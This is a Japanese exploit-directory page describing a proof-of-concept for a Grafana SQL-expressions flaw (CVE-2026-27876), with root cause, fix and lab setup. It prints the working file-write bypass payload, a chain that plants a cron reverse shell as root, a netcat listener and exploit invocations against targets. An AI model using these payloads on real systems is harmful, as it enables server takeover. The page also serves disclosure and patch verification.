Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27876 — Grafana SQL式の任意ファイル書き込みからRCEへ | Kitploit
ツール/GitHubGitHub/atiilla/cve-2026-27876
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubatiilla/cve-2026-27876

CVE-2026-27876

Grafana SQL式の任意ファイル書き込みからRCEへ

リポジトリを見る
0日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-27876: Grafana SQL式の任意ファイル書き込みからRCEへ

CVSS 9.1 Critical | 任意ファイル書き込み | リモートコード実行

デモ

https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56

概要

GrafanaのSQL式機能(sqlExpressionsトグル)は、プロセス内SQLエンジン(dolthub/go-mysql-server)を使用しており、AST許可リストに欠陥があります。SetOpノード(UNION ALL)は検証を通過し、そのwalkSubtree()はInto子ノードを走査しません。これにより、INTO OUTFILEを使用してGrafanaプロセスユーザーとしてサーバーファイルシステムに任意のファイルを書き込むことが可能になります。

認証済みユーザー(Viewerロール以上)は、これをcronベースのリバースシェルによる完全なRCEに連鎖させることができます。

影響を受けるバージョン

範囲影響あり修正済み
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2

sqlExpressions機能トグルを有効にする必要があります。

根本原因

pkg/expr/sql/における2つの複合的な欠陥:

  1. parser_allow.go: allowedNode()は名前付き戻り値b = trueを使用します。*sqlparser.SetOpケースはtrue(許可)を返し、SetOp.walkSubtree()はInto子ノードを走査しません。つまり、UNION ALL ... INTO OUTFILEは許可リストを完全にバイパスします。

  2. db.go: SQLエンジンコンテキストがWithDisableFileWrites(true)なしで作成されるため、INTO OUTFILEがディスクに書き込みます。

バイパス構文

root@kitploit:~
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

単一の(SELECT ...) INTO OUTFILEはParenSelectノードを生成し、これはブロックされます。UNION ALLで結合された2つ以上のSELECT部分はSetOpノードを生成し、チェックをバイパスします。

エクスプロイトチェーン

root@kitploit:~
1. 認証(Viewerロールで十分)
2. __expr__データソース、type "sql"でPOST /api/ds/query
3. UNION ALL INTO OUTFILEでリバースシェルスクリプトを/tmp/に書き込み
4. 2回目の書き込みでcronエントリを/etc/crontabs/rootに配置
5. cronが60秒以内に発火 -> rootとしてリバースシェル

使用方法

ラボ環境のセットアップ

root@kitploit:~
cd lab/
docker compose up -d
# Grafanaが正常になるまで待機(約15秒)

Grafanaはhttp://localhost:3333で実行され、認証情報はadmin:adminです。

エクスプロイトの実行

ターミナル1 — リスナー:

root@kitploit:~
nc -lvnp 4444

ターミナル2 — エクスプロイト:

root@kitploit:~
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

リバースシェルは60秒以内に接続されます。

その他のモード

root@kitploit:~
# ターゲットが脆弱かどうかを確認(書き込みなし)
python3 exploit.py -t http://TARGET:3000 --check

# 任意のファイルを書き込み
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# ローカルファイルをターゲットに書き込み
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# データソースプロビジョニングによるRCE(cron不要)
python3 exploit.py -t http://TARGET:3000 --rce

クリーンアップ

root@kitploit:~
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

以前の実行後にエクスプロイトを再実行するには、まずクリーンアップしてください — INTO OUTFILEは既存のファイルを上書きできません。

修正

コミット0e5d9e01ef31f072fd41626cd744699374e70127(PR #121514):

  1. parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go: case *sqlparser.Into: return v == nil
  3. db.go: mysql.WithDisableFileWrites(true)

ファイル

root@kitploit:~
.
├── README.md
├── analysis.md              # 根本原因の完全な分析
├── lab/
│   ├── docker-compose.yml   # Grafana 12.4.0ラボ(確認済み)
│   ├── Dockerfile           # cronサポート付きカスタムイメージ
│   ├── entrypoint.sh        # crond + Grafanaを起動
│   └── setup.sh             # 自動セットアップスクリプト
└── poc/
    ├── exploit.py           # RCE付き完全なPoC
    └── cvss-justification.md

参考情報

  • 修正: https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
  • PR: https://github.com/grafana/grafana/pull/121514
  • 勧告: https://grafana.com/security/security-advisories/cve-2026-27876/

免責事項

認可されたセキュリティ研究および管理されたラボテスト専用です。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード